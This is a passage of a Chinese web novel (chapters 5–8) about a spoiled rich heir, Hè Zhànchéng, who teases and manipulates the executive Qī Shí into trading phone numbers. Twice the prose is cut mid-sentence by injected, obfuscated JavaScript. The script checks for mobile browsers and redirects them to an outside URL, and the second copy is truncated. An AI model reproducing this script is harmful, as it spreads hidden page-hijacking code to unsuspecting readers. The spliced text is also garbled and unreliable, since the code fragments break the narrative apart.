戚时莞尔,低头在果汁儿的眼皮上亲了一下,心情愉悦地抱着他的小公主进家门。 喝多了,今晚确实是多了。 他想,不然怎么今晚看谁都觉得那么可爱…… 凌晨十二点,酒店。 何湛程刚洗完了澡,雪白松软的浴袍随意地挂在身上,只在腰间系了一个松松的结。 他赤脚站在鎏金精雕的复古式镜前吹头发,一抬肘,腰间的结就散了开,露出从颈间一路延伸进肩胛的紧实线条,均匀的薄肌,细长的腿缝……镜子倒映着一尊引人垂涎的裸|体艺术,令人联想起某种难以描述的淫靡与荒诞。 何湛程盯着镜子孤芳自赏,然后歪了歪脑袋,刻意展露出的蛊惑人心的笑容像攀附在黑暗城堡墙头的深红色蔷薇,在波澜不惊的深眸里刺出一抹血色的艳。 多么白皙漂亮的一副躯体,多么清纯动人的一张脸。 他自己都想操自己。 三两下吹干头发,一边重新系着浴袍,一边迈着大步走去卧室。 修长的身形犹如一丝白色的飘带,在静谧幽暗的房间里穿梭、流动。 整套房间颇具古典风,暗而沉厚的色调一如文艺复兴时期的油画,庄重奢华,在低调内敛的设计中显出极致的贵族韵味,衣帽间的隔离墙面是藤编设计,卧室里装着半弧型的落地窗阳台,家具陈设一应俱全,智能冰箱里冻着红酒饮料矿泉水。 何湛程路过时顺手抽了瓶陈年红葡萄酒,叼开瓶塞,动作娴熟地晃荡着酒瓶,回到卧室拿起手机,随手把酒放在柜台上醒着。 消息自然是有的,三四十来条弹窗,夹杂着各种的短信和小广告,密密麻麻的,懒得细看,全都一键删除。 大部分是他老妈发的,嘘寒问暖的,生怕他冷着冻着,说他没怎么来过燕京,这边气候干燥,让他表哥给装个好点儿的加湿器,接着言辞委婉且长篇大论地劝诫他往后要洁身自好,不要再和来路不明的女人乱搞了,不然将来找不到门当户对的好女孩儿,男人也要趁着年轻赶紧戒掉,说他大哥二哥都堕落了,他现在是老何家唯一的根,他们这么大个家族就指望着他来传宗接代,他可不能再胡来巴拉巴拉之类…… 何湛程看着就头疼,一眼匆匆浏览过,耐着性子,给他妈发一句“知道了”,他妈立刻给他回了一条“乖,真是妈妈的好孩子”,紧跟着又发一个大母猫抱小猫的慈祥表情。 何湛程:“……” 他妈对他的态度,就像他是只还在哺乳期的幼崽,一辈子都离不开奶。 剩下几个,都是去年在酒吧或者健身房和他约过的人,男男女女的,没一句不是在冲他暗示和撒娇,要么就是找他要钱,可他今天见过了戚老二,突然觉得那几个人也没什么特别了。 本就是一时兴起,像这些他连备注都懒得备的人,基本没有和对方见第二次面的可能。 看也不看,宁缺毋滥,接连全删了。 许若林—— 手指停在“晚安”的红点上,或许因为那个人太过认真,这两个寻常的字眼便显出几分深情款款。 许若林先留着。 好歹是救命恩人。 何湛程捏着瓶颈喝了两口,目光瞥向置顶。 意料之中,毫无动静。 一时间忍不住脾气就要上来。 真是给脸不要脸,他为什么要来这个鬼地方?为什么要看上一个当爹的?一个人都不认识就算了,玩儿都没人陪着玩儿!还有他干嘛要去剧组?风吹日晒的,吃不好也喝不好,男明星一身臭汗,女明星一身脂粉味儿,说不准还有口臭……他干脆就在酒店住着得了,或者跑去戚时公司里玩儿,万一能碰见中意的艺人…… 不对,约艺人哪有约艺人老板来得好玩儿? 何湛程盯着“二哥”那两个字,冷冷地笑。 —二哥 喝掉半瓶酒,整个人亢 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一帮人接着一帮人,把他当什么?没完没了地做交接?既然这么嫌弃他的话,当初怎么不直接拒绝何老大啊? 说到底,还不都是为了巴结他大哥! 大脑昏沉沉的,他心烦意乱地扯过被子,关灯睡觉。 OK,到此为止了,他不要和这种没情趣的已婚男再有任何牵扯。 一闭眼,脑海不自觉浮现出那人善恶莫辩的脸,容光焕发的俊丽皮囊下涌动着一股子邪门的痞,还有……那只戴着大块劳力士的手腕。 很奇怪的一种冲动。 他想解开那个男人的表带。 啪嗒一声。 何湛程开了灯,手指三两下扒拉过手机,直接给人拨了电话,鼻音浓重地问:“那你一般什么时候有空啊,我想找你玩儿去。” 对方显然不耐烦了,语气冷淡了些:“没空,我忙。” 何湛程吸吸鼻子,嗓音挤出几分委屈的哑:“二哥,你是不是讨厌我啊……” 对方一顿,不用想也知道此刻那人一脸嫌弃地浓眉蹙起,既不好直接撕破脸骂他矫情,又不想再忍着恶心和他继续维持表面上的客套。 这就对了。 何湛程嘴角一勾。 他就喜欢看这些冠冕堂皇的体面人有火发不出的憋屈样儿。 特别刺激。 特别令人感到心情愉悦。 “没事挂了。”对面沉着嗓子,挂断了电话。 何湛程心里终于舒坦了,假惺惺发过去一条“对不起二哥,我说错话了”,等了两分钟,对方没再回复他,他也没再多想,手机往旁边一扔,直接盖被子蒙头大睡。 他不知道戚时并非他想象中的体面人。 更不知道脾气暴躁的某人已经拨通秘书的电话,正咬牙切齿地下着命令: “何老三那个小娘炮确实是有病,有病就该治,关于他个人的单项经费你也别报了,一分没有,往后的行程安排一律给他按普通工作人员的标准来。” 茉莉婉声劝道:“戚总是和他闹不愉快了吧,您先消消气,毕竟他身份摆在哪儿,咱们要是照顾不周的话……” “他一个月的零花钱比老子赚得都多,”戚时冷笑着打断,“缺什么你让他自己去买,老子才不伺候他这种傻缺二世祖!” 茉莉叹了口气:“好的,戚总。” “还有,从现在开始,我不想再听到或者看到关于这个人的任何消息。” “收到。” 6. 第6章 何湛程第二天早刚睡醒就发现自己被戚老二删微信了。 挠着乱蓬蓬的鸡窝头,使劲回忆,他昨晚也没对戚老二怎样吧? 他还没找对方要自拍照呢,甚至都没调戏,戚老二就因为那几句有的没的给他删了? 今早一睁眼就给心上人发了条“早安”,本意是给人送温暖,就算对方不会跟他聊太深,最起码会回复个“嗯”,没曾想消息刚发过去,他就收获一条触目惊心的红色感叹号。 何湛程自此刷新了对一个市值几百亿的集团总裁的格局—— 狭隘,非常之狭隘! 很好,礼尚往来,他决定正式将戚时从他的心上人名单上移除出去。 大概是昨晚的回应给了许若林一丝希望,何湛程下楼吃早餐时,那人发来几条消息,说前阵子何湛程过20岁生日,自己本来做好的礼物没能送出去,问过两天能不能见个面,让他拿走。 何湛程知道许若林这种自以为陷入爱情的穷酸大学生,买不起什么太贵的礼物,但出于对救命恩人的尊重,他问了句: —什么东西啊? 对方回: —你答应和我见面,我才告诉你 何湛程一笑: —那算了,你自己留着吧 对方立马老实交代: —是个智能手环,我做了一对情侣款,在里面装了测谎仪的芯片 —我把电流的刺激性降到了最低,并将检测的准确性提升到了99.999% —区别于传统测谎仪,我做的这一对手环,电流不会刺激说谎的人,而是在感应到撒谎人的心率后,将电流导向和说谎人绑定着同一系统的另外一个人 —也就是说,如果我们两个同时戴上手环,你对我撒谎,被电的人是我 —程哥,我只想亲眼看看,你到底有没有喜欢过我 何湛程轻啧一声: —宝贝,没看出来你还挺疯的,但如果所有科研人员的脑子都用在谈恋爱上,那祖国的未来可怎么办啊? 对方: —我现在什么都说了,你会见我的吧? 何湛程: —我目前在燕京,等我回沪上了再说 对方: —那你什么时候回来? 何湛程: —玩儿够了就回去 对方: —你是不是又有新欢了? 何湛程: —你是不是认为和我睡过一次,你就有资格干涉我了? 对方立刻噤声了。 好半响,发来一条“早点回来,我等你”的消息。 何湛程轻嗤一声,没有再吃早饭的心情,端着杯子喝了口果汁,扯纸巾擦干净嘴,起身往电梯那边走。 随手给许若林转账五万。 一句“少耍性子,自己喜欢什么就去买点儿什么,不够再找我要”刚编辑了一半,五万块原封不动被人一秒退回。 何湛程:“……” 犟种。 又一个犟种。 他最近也是邪门了,遇见的人一个比一个难搞。 闲闲地插着裤兜,抬手去摁电梯18楼,虚握的手心不小心碰到旁边按15楼的女客的指尖,他一扬眉,扭头朝人看去。 是个长相清秀的女生,短发烫卷,一脸素颜,目测二十多岁,皮肤状态很好,但没有惊艳人的地方,一米六左右的身高,穿着蓬松的睡袍长裙,察觉何湛程在看自己,也扭头和他对视一眼。 “哇……”她轻呼,声音极轻。 何湛程嘴角扬了下,电梯门开,他后退半步,朝里摆了下手:“Lady first!” 女生笑得开心:“谢谢。” 二人先后进了电梯,默契地保持陌生人的距离,何湛程手头来了个陌生电话,他侧转过身,背对着女生接电话: “喂。” “三少您好,”一道温婉动听的女声,“我是戚总身边的秘书茉莉,茉莉花的茉莉,也是代表擎荣集团接待您的总负责人,这是我的电话号码,您可以存一下方便我们今后联系,稍后我也会申请加您的微信,请您看到后通过一下。” “哦,”何湛程挠了挠下巴,问,“我电话你哪儿弄的?” “戚总给的。” “他哪儿弄的?” “应该是陈总给的吧。” 何湛程惊讶:“你们戚总本来就有我的电话?” “是的。” “那好,”语气瞬间轻快起来,“你叫他给我打个电话,我也存一下他的号码。” “这个……他本来是有的,但昨晚开始就没有了。” “怎么,”何湛程轻哼一声,“你们戚总这么小心眼吗,删微信不够,把我电话也删了?” 茉莉一本正经的:“这一点您是误会了,我们戚总他不是删,他是觉得这两年国内手机通信不太安全,是为了保护您的电话号码不被泄露,为了让您免于通信诈骗才这样做的。” 何湛程轻笑:“姐姐,你编的这话,你自己信吗?” 茉莉微笑:“那三少打扰了,我们过几天再联系。” 何湛程又笑了几声:“本来我不想再和你们有任何牵扯了,但我突然发现戚时身边的人也挺有意思的,这样吧,姐姐你明天来找我玩儿吧,我请你吃饭看电影,然后你给我讲讲你们戚总的坏话,怎么样?” 茉莉失笑:“不好意思,我明天要工作,剧组那边定的是五天后出发,我们五天后再见吧。” “好吧,姐姐再见!” 挂了电话,电梯刚好到15楼,刚才通电话途中,何湛程透过镜面,看着卷发女生始终在低头聊微信,眼下她出去,他不经意一瞥,发现她的手机壳上贴满了戚铭的大头照,手机锁屏也是一张戚铭的个人写真。 戚铭的粉丝。 电梯门关上,女生的背影消失在视线里,何湛程忽然觉得很有意思。 自从认识了戚时,他接触到的每个人都跟姓戚的有关。 虽然他曾经没见过戚时,但他好歹是个现代人,是现代人就没有不认识戚铭的。商场投放的LED大屏、奢侈品店代言广告、老妈追的热播剧和综艺、互联网无处不在的八卦新闻、偶尔出现在他家附近门店的线下活动,连当初留学时候身边追星的外国同学也求他想办法搞几张戚铭的签名……虽然是影帝,但戚铭形象和他大哥是一个路数的,老练而稳重,一身阴谋诡计的狐狸味儿,年纪还大,所以他也就是知道而已。 他对戚铭没兴趣。 嗯,他对戚时也没 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戚时上高中的时候这么中二的吗? 他为什么没能早点儿认识这个人? 平白错过了很多吐槽的机会。 不过看到公告栏下的年龄,何湛程又略微遗憾地想,他们注定无法早点儿认识,戚时考上大学那年,他还在上小学四年级。 大学时代,戚时照片其实不算很多,两张出现频率很高的、和校长合影的优秀毕业生照,一张本科照,一张硕士照,摄影师修图修得有点过分了,把人的帅脸修得跟玻璃镜面一样,还打了白得发光的滤镜,导致那人的照片除了眉眼和真人有几分相似,已经完全失真了。 剩下的基本都是学校运动会的团体照和视频,像素很模糊,还有作为学校门面,身着西装出现在学校官网的招生宣传照上,模样和现在差不多,但面相更为平和舒缓,不像现在这么冷硬。 竟然还是个硕士?何湛程想,他还真没看出来,像戚老二那种小心眼没礼貌的人居然还是个硕士。 下面还有个点赞量很高的视频,词条是:来看看我们燕体人的日常练习#花式单杠练习#极限运动#危险请勿模仿#” 没带名字,但何湛程一点进去就知道那个人是谁。 动感十足的BGM响起,随着一声哨响,乌泱泱的人群里飞起一道敏捷的身影。 先是一个荡杆后空翻,接着开始风火轮般急速旋转起来的大回环。 烈阳当空,男生纯白T恤被风吹起,露一截劲瘦的腰,空中循环翻转着他运动裤半挽起的长腿,平均每2秒切换一个高难度动作,跳跃、空翻、转体……动作遒劲有力,收放自如,不时搞个漂亮的花样儿向众人显摆他的能耐,他像一阵自由快活的风,在接连不断的高声喝彩中,最后一个利落的后空翻稳稳落地,起身整理着衣服,冲突然凑近他的镜头笑了声。 很放松随意的笑容,落落大方,朴素而明亮。 何湛程嘴角轻轻上扬。 循环播放着这个视频,看了大概三四十来遍,然后把它下载到自己的电脑上。 视频备注:亲爱小宝贝 7. 第7章 “怎么样?” 摆在眼前的是一双刚做完HelloKitty卡通手绘美甲的手。 长指白皙,短甲整洁,纤细的手腕上戴着百达翡丽的白色手雷款,与她今天黑色的哥特风吊带长裙相得益彰。 “可爱,涂在你手指上很有个性。” 何湛程笑,回头在柜台前扫了下码,替她结账。 “那走吧,五点半了,我们下一站去哪儿?”林翘楚踩着过膝长靴迈下凳子,拿起她的皮衣外套,两下穿好,乌黑长直的公主切垂落胸前,她一撩头发,询问的视线投向对面。 三月份实在是个矛盾的天气,时冷时热,林翘楚已经过上了夏天,何湛程还穿一身浅灰薄绒运动卫衣和卫裤,外套搭个驼色风衣,跟在她身边像只乖驯温柔的小奶狗。 她这小表弟很怕冷。 “你饿吗?”何湛程穿着外套和她一起往外走:“我们先吃饭?” “不要,”林翘楚低头扒拉着手机导航上的附近景点,“下午刚在商业街吃过小摊,晚上就不吃了。” “那你还有想去的地方吗?” “嗯……这几天长城故宫天安门天坛什么的差不多都去过了,好像没什么想去的了,你呢?你有想去的地方么?” “前几天在饭桌上,戚老二提到的那个摩天轮听起来挺有意思的,就在这附近,要不我们去坐一圈?” 林翘楚偏脸瞅他。 何湛程挑了下眉:“怎么?” 林翘楚嘴角微扬:“你干嘛和我一起坐,怎么不找他坐?” 何湛程挠着脖子,避开她视线:“我跟他不熟,而且他也不喜欢我。” 林翘楚夸张地“咦”了一声,眨着大眼睛看他:“你这么会装乖骗人,还会有人不喜欢你呀?” 何湛程轻哼一声,还没反驳,林翘楚脸上的笑意就淡了下去。 她警示般拍了拍他的肩:“这样也好,湛程,他和你遇到过的其他人不太一样,他不是你能动的人。” “从前你闯了祸,别人或许能看在轩哥或者姑父的面子上大事化小小事化了,但戚时是从底层爬上来的人,他和他哥能坐到今天这个位置上,就意味着他比寻常人付出了更多的代价,也比寻常人更狠,更没底线。” “这种人你惹不起,知道吗?” 何湛程懂事地点头:“我知道,姐。” 他才不会把她的话放在心上。 不就是一个搞娱乐公司的小总裁么,说是白手起家,可放眼整个集团又真的能轮到他戚老二做主么? 说到底,戚铭才是绝对的控股人。 戚铭从前的金主还是一直承蒙他老爸照拂的晚辈呢。 亲兄弟怎么了? 越是亲兄弟,戚铭才越不会允许戚老二因为一点儿小破事就发疯乱咬人。 垄断整个娱媒行业又怎样? 再垄断不也得靠着上面的脸色吃饭么? 不管是陈北劲那个有ZF大力扶持的影视基地项目,还是戚时眼下不着痕迹地巴结他在政|界有不少同窗的大哥,亦或是绞尽脑汁想接触李铮鸣和他背后的李家,戚老二那些都快戳破窗户纸的小心思说白了,不就是想往上头挤么? 戚时现在才多大? 他野心再大,再有能耐,那也是十年二十年以后的事。 而现在,对这样一个掀不起太大风浪但极具个性的珍稀物种,他何湛程玩玩怎么了? 出商场前,何湛程路过爱马仕给林翘楚拿了件翻领的长款灰羊绒大衣,说傍晚要降温了,怕翘楚姐回酒店的路上冷,给她当毯子盖腿。 林翘楚懒得点破他的小心思,上车后和随行司机交代,带他俩去坐附近的摩天轮。 何湛程笑眯眯地歪头枕在她肩上撒娇:“谢谢姐,你真好。” 林翘楚伸手揪了揪他的耳朵:“我明天得飞趟新加坡见朋友,可能回来也可能不回来,你在这边有事情就找你表哥,要么直接回家,千万别在人家的地盘上惹事,知道吗?” “放心了,”何湛程抱怨着,“我都这么大个人了,又不是傻子,你们一个个交代起来没完没了,我耳朵都快磨出茧子了。” 这几天和他表姐一起在外面玩儿,何湛程平均每三个小时都要听一遍她的念经,她再不走,他真的要随便找个和尚庙出家了。 他们住在同一个酒店,但第一天没能碰上。 林翘楚跟他说,那晚散局后,她和陈北劲随便找了家酒吧打发时间,陈北劲自称是有家室的人,没法再继续陪她,并对她表示抱歉,林翘楚表示无所谓,俩人就这么无聊地继续维持着半客套式的社交,然后他们就在酒吧撞上了陈北劲的“家室”。 林翘楚不认识对方,一句自我介绍“北哥的相亲对象”直接把人气晕了,虽然医生判断病因是劳累过度,加上贫血才晕的,但林翘楚心里始终过意不去,就想等人醒了解释清楚解除误会。 陈北劲怕他“家室”一觉醒来看见她醋劲儿更大,恐怕要发火,说什么都要送她先走,她纠结着守了人半夜,权衡利弊后还是离开了。 回酒店困得头晕,她一觉睡到第二天下午四点半,才在电梯里和去楼上游泳的何湛程碰上。 何湛程看见她第一眼,漫不经心打招呼叫了声“姐”。 第二眼,旁若无人地低头玩手机。 第三眼,唰地又抬起头,满脸放光地看着她笑:“姐!” 林翘楚不知道他起什么心思,她来旅游,陈北劲是派了随行导游和司机的,何湛程知道后,大手一挥,把人赶走了,亲自上阵替她规划路线,一连三天陪吃陪喝陪玩,全程买单赠送嘘寒问暖一条龙贴心服务,钱包都为她掏薄了好几层,但她这都快结束了,仍没能想出个所以然来。 何湛程到底想干什么? 不会单纯就为了让她陪他坐个摩天轮吧? 这摩天轮还是戚时点名说的。 一个有点喜欢戚时的小傻瓜,和她这个被戚时献过殷勤的女人,一起坐戚时想和她坐的摩天轮,听起来这么怪怪的…… 舱门关上,巨大的摩天轮亮起彩灯,在暗沉的暮色里缓缓运作起来。 林翘楚托腮皱着眉头,望着舱外被紫红晚霞晕染的天空,无心欣赏。 瞄着一眼对面,何湛程已经一脸认真地掏手机对着窗外风景录上像了。 她忍不住想,何老三不会为了给戚时献殷勤,偷偷拍她发给戚时看吧? 如果这小子敢这么做的话,她一定会给他一巴掌,再把他手机踩烂。 出乎意料,第一圈何湛程完全把她当空气,举手机沉浸式录了一整圈的视频,没跟她有任何交流。 第二圈—— 林翘楚不知道他们还会排队坐第二圈。 只注意到何湛程付完款后,微信余额就剩三百多块钱了。 略一思索,她拿出包里所有的现金——五百块,给对方递了过去。 “虽然现在都不怎么用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409016|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现金了,”她说,“但我听陈北劲说,你接下来好像要去山里的剧组,那边可能信号不好,你花现金方便些。” “果然,”何湛程接过来揣兜里,冲她一笑,“还是我姐考虑得周到。” “所以,”林翘楚抱臂靠在椅子上,开门见山道:“你这几天老跟着我,到底想干什么?” 何湛程笑了笑,也不藏着掖着了。 清咳一嗓,直接坦白:“姐,戚老二把我微信删了,我觉得如果是你亲自向他开口的话,他肯定会同意把我加回来。” 林翘楚闻言一蹙眉,扬手就要揍他:“你活腻了是不是!” 何湛程侧身轻微一闪,一双小狗眼巴巴地望着她:“姐,我没别的意思,你还不了解我吗?我没喜欢他到那种程度,就是偶尔无聊了想找他聊几句解解闷儿,你别扫兴嘛!” “你自己都说了他把你删了,再加回来,你再去骚扰人家,他还不是一样会删你?!” “这些你不用管,”何湛程信誓旦旦,“只要你今天帮我把人加回来,我有信心他绝对不会再和我断联。” 林翘楚恨铁不成钢:“你怎么老是去惹那些不该你惹的人?” “我有什么办法?”何湛程也无可奈何:“你该问他啊,谁让他长得那么帅?” “这世上长得帅的人多得是!” “可长成戚时那样一张脸的只有他一个啊!” “你还说你没喜欢他到那种程度?!” “嗐呀这不正上头呢么!”何湛程原形毕露,开始摆一副无赖态度,劝道:“姐,你就帮我一下吧,或许他多骂我两句我就烦了,不然我可不保证下次再见到他,我会忍不住当着大庭广众的面扑上去亲他。” 林翘楚不可思议地瞪大了眼,被他毫无底线的逆天发言震惊得说不出话来。 “真的,”何湛程耸耸肩,“你也知道,我从小就不要脸,你现在不帮我要微信,过阵子我想他想得受不了,只会惹出更大的麻烦,线上聊天多好啊,关系不远也不近,你也希望我们保持距离吧?” “够了,”林翘楚冷着一张脸,一边掏手机给戚时发消息,一边警告道,“这话是你亲口说的,如果你敢得寸进尺,以后别再叫我姐。” “当然。” 何湛程目的达成,笑眯眯点开微信,等人重新加他。 “好了。” 才十秒,林翘楚抬头通知他一声,摩天轮第二圈刚好坐完,她挎着包就气势汹汹地下去了,头也不回地扔下一句: “今晚我很不高兴,我就先走了,你自己打车回去,近期也不要和我发任何消息,我怕我会忍不住冲你尖叫一通,然后把你的烂事讲给你家里人听。” 何湛程唏嘘一声,望着她渐行渐远的背影,很识相地没跟上去。 正要动身离开,掌心的手机震动两声。 第一声,“二哥”扔过来一张和林翘楚的聊天截图,只有三句话: 林翘楚:【时哥,听湛程说你删掉了和他的联系方式,是他又不懂事了吧,真是不好意思,我代他向你道歉,但他一个人在这边人生地不熟的,亲戚朋友也少,过两天还要进组,可能仍需要你的照拂,我这个做姐姐的能请你能多担待他一下吗】 二哥:【嗐,小事儿,我跟他闹着玩儿呢】 林翘楚:【谢谢时哥,真是麻烦你了】 第二声,“二哥”发来一条信息: —这么喜欢告状,是因为还没断奶么? 8. 第8章 何湛程心脏猛地打了个突。 不知道心动了,还是让对方给吓得。 说实话,戚时毕竟是他哥哥辈的人,有钱有权地位不低,长得冲,脾气更冲,真把人惹火了,戚时分分钟能找人弄死他,可谓是非常有压迫感的类型。 但这岂不是更刺激了? 他何湛程打出生到现在,除了他爸,他还没怕过谁呢。 何湛程在路边打了辆出租,刚坐进去,就把他大哥何闽轩的微信推过去了。 用一副严肃认真的口吻备注留言: —这是我们家老大 —只要你说是我推的,他都会通过 何湛程知道戚时有意和他大哥接触,奈何二人身份行业千差万别,戚时跟他大哥始终搭不上线,只能通过子公司之间一些可有可无的小合作来刷存在感,这次虽然有陈北劲作中间人,但那天何湛程在席间听他们谈话,他能察觉出来,如果陈北劲从中捞不到好处,他不会松口帮戚时做局的。 一群精明无聊的商人。 何必这么麻烦?他想,只要戚时肯讨好他何湛程一个人,不是要什么就来什么? 戚时没理他。 但过了几分钟,他大哥给他发来一条消息: —你又在外面惹什么麻烦了? 何湛程笑了。 这是戚时已经加上他大哥微信找人求证是不是本人的意思了呗? 何湛程心情好,回复他大哥: —没惹麻烦,巴结人来着,你少管 接着给戚时发: —怎么样,开心了吗? “对方正在输入”了半分钟,回复: —你什么意思? 何湛程: —没什么意思 —我还有李铮鸣的手机号,你要吗? 这次对方沉默将近五分钟,似是在纠结尊严和生意哪一个更重要,然后窝囊地发来一条: —要 何湛程嘴角翘上了天: —自家人白给就白给了,李铮鸣的手机号,你得拿你的手机号换 戚时立刻给他发来一串号码,听话顺从的态度像只遵从主人指令的宠物。 何湛程: —这是工作号还是私人号? 戚时: —我没分公私号,只有这一个手机号 何湛程回了个“OK”,按着这个手机号给对方打过去了。 “喂,”他笑问,“二哥?” “嗯,”对方不情不愿地说,“没事挂了。” “二哥~”好容易说上话,他才不肯放过他,“你陪我聊会儿天,我再给你发号码,怎么样?” “我马上要开会。”对方态度强硬地拒绝。 何湛程仰身往软座一靠,长腿叠起,慢悠悠地笑:“别这样,你陪我聊几句,把我哄开心了,不比你开一百个会强?” 电话传来一道细微的咬牙声。 何湛程眼睛笑眯成一条缝。 嗯……他很喜欢这种逼良为娼的感觉,尤其像戚时这种位高权重的人,想必已经不经常对人卖笑了吧? “你想聊什么?”戚时阴沉沉地问他,似乎连标点符号都在散发着抗拒。 “不知道,”何湛程晃荡着脚,随口问,“你上高中谈过恋爱吗?” “没有,”对方不解,“你问这干什么?” “闲聊么,大家闲聊不都喜欢聊八卦么?” “无聊。” “那大学呢?”何湛程继续好奇地问,“大学谈过几个?” “两个。” “谁是被追的?” “我。” “谁先分手的?” “我。” “理由?” “受不了交往对象粘人爱吃醋无理取闹还动不动发深夜小作文。” “嗯?”何湛程一挑眉,不太满意地教训道:“二哥不是我说你,这可就是你不对了啊,人家女孩子喜欢粘你、爱吃醋,那是人家爱你的表现,你不解风情就算了,怎么还跟人家分手啊?” “你管我?”戚时不耐烦了,“你聊完没?我没你那么闲,你给老子适可而止。” “嗯……”何湛程挠挠下巴,思考片刻,又问:“那你喜欢什么类型的?” “你表姐那样的。” “……”浮在眼角的笑意骤然一冷,莫名的,心头闪过一丝不愉。何湛程缓缓道:“戚时,说句不好听的,我表姐看不上你。” “我知道,”戚时压着火气,“我有自知之明,更不像你们这种满脑子情情爱爱、成天到处乱逛都快要闲出屁来的豪门大少爷!何老三,我不是你消遣的对象,也没那么多时间陪你玩儿,如果你聊够了,我现在可以挂电话了吗?” “嘶——” 听听,听听,这牙都快咬碎了的声音。 何湛程扫兴地照着电话黑屏拨弄了两下刘海,他觉得发脾气的戚时一点都不可爱。 “你别生气嘛,我跟你开玩笑的,”何湛程哄着,“我再问你个最后一个问题,你诚实回答我,然后咱们就挂电话,好不好?” 对方深呼吸了一口气:“行,你说。” 何湛程颇为满意地欣赏着手机屏里的自己,用一种引诱蛊惑的语调问:“你见我第一眼,对我身上的哪个部分印象最深?” “脸。”对方秒回。 何湛程一笑:“太帅了?” “太欠揍了。”对方说完就挂断了电话。 不忘发一条“两分钟内把李铮鸣手机号发我,不然删微信”的……无效威胁。 怎么可能呢? 何湛程轻啧一声,一边在新建联系人上给戚时备注上称呼。 他又不谈生意,上哪儿搞到常年在国外工作、直到去年才刚回国的李铮鸣的联系方式? 但手机号是肯定有的。 何湛程面含微笑在聊天框内输入了自己另一个手机号,备注留言: —鸣哥比较忙,只有每天做晨练的时候不会办公,你如果联系他,明天早上七点左右给他打电话最好 早上七点,何湛程都不敢想自己接到戚大总裁亲自提供的叫醒服务时会有多幸福。 对方回复: —知道了 傻瓜。 一瞬间竟然有点小心疼。 何湛程盯着戚时的微信头像—— 一个身穿冲锋衣的男人两手揣着兜,寒风猎猎,他站在冰沙涌动的海滩上眺望远方日出,身姿笔挺,肩线硬得像被浪脊割过的水面,蓬蓬的头发被海风吹得有些乱,细看还能注意到他脸庞上没刮的胡茬,整个人惬意懒散,还有几分疲惫,看起来像刚睡醒。 该怎么说呢……何湛程托腮支着下巴,很割裂的感觉,现在的戚时,和大学时候那个在众人拥簇起哄下大肆彰显身手的得意少年完全判若两人。 不过,起码目前来说,对方无论什么样子,他都很喜欢。 他本来挺讨厌男人刮不干净胡茬的邋遢样子。 “这次有点儿不一样啊……”夜幕降临,何湛程望着窗外逐帧闪过冷钢建筑物群的霓虹残影,不自觉咕哝出声。 *** 翌日清晨。 早七点零五分。 独栋别墅前院狗叫声频传的门廊下、超五星酒店的旋转大门口、弥漫着隔夜红酒气味的总统套房卧室床头前—— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409017|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >嗡嗡、嘟嘟、嗡嗡、嗡嗡、嘟嘟…… 三个电话割裂时空,又几乎在同一分钟内接连挂断又响起。 被子里伸出一条雪白赤裸到几近色|情的手臂,何湛程夜夜宿醉,半困半醒地冒出头,抓着手机接了电话,声音沙哑:“喂……” 斟酌排练打了一整个早上腹稿的戚时立刻就炸了,嗓门猛地拔高八个度:“何老三?怎么是你?!” “嗯……”带着点鼻音,何湛程头昏脑涨地趴在被窝里笑,嗓音懒洋洋的:“二哥,早上好啊,一觉醒来就能听到你的声音真好。” “艹!”戚时瞬间就明白了:“你他妈敢骗老子?!” “二哥要是生气的话,可以继续把我的微信删了,我没关系的,”何湛程好脾气地安慰,“但我猜你不会轻易换手机号,毕竟生意往来加了这么多合作伙伴,重新印名片容易,重新再叫所有人加一遍你的新手机号就难了吧?嗯……把我手机号拉黑也没关系,我不介意再多办几个新手机号,反正你的号码我已经倒背如流了,0917****371,没错吧?” 说完,立刻把听筒拿得离耳朵远点儿。 “何湛程——!!!” 电话那头登时响起戚时气得发狂的咆哮声,接连惊起一阵汪汪的狗叫,扩音喇叭似的充斥进他卧室的每一个角落: “你敢玩儿老子?!你他妈想死是不是?!” 何湛程被狗叫得清醒了,惊讶地坐起身,问道:“诶,二哥,你家还养了条狗啊,什么品——嘟嘟……嘟嘟……” 对方挂了电话。 茉莉提着三层蟹黄香葱油香四溢的本帮菜豪华大餐盒,一身清新休闲运动装打扮,正心情愉悦地要往酒店旋转门里走。 手机嗡嗡响动,她接起: “喂,戚总?” “走到哪儿了?” “刚、刚进酒店门。”茉莉咽咽吐沫,她从老板隐怒的声音里听出了火山即将爆发的征兆。 “给他带的什么?”电话背景音是嗷嗷的狗叫。 “好来福家的两千块早餐套装。” “给酒店,让他们拿去喂狗。” “啊?”茉莉一时没反应过来,愣在原地,差点被旋转门又扇出去。 这怎么了又是? 阴一阵儿阳一阵儿的。 当初要和何湛程碰面,他们早上刚在公司确定了要礼貌待客,结果老板大半夜凌晨两点钟就打电话冲她发疯,硬是要将何湛程这种级别的贵客降格成普通工作人员,她本来心里正愁着难办呢,这才过了几天,老板昨晚突然又说何老三勉强也算个人,就是小孩脾性太爱闹腾了点儿,让她接人的时候,把人照顾得周到点儿,规格流程该怎么弄就怎么弄,结果这才过了一夜,大清早又来一通电话,又要变卦,还让她把清晨四点钟就开始辛辛苦苦去排队买来的套餐盒扔了喂狗??!! 她昨晚为公司加班到凌晨一点!! 她每周平均睡眠只有三个小时!!! 为了不影响美女秘书这个职业风貌,她前两天为了遮黑眼圈,甚至专门去美容院补了两针熊猫针!!! 茉莉神情漠然地伫立酒店大堂,眼神冰冷地盯着周围来往的每一个人。 心里,咒骂,尖叫。 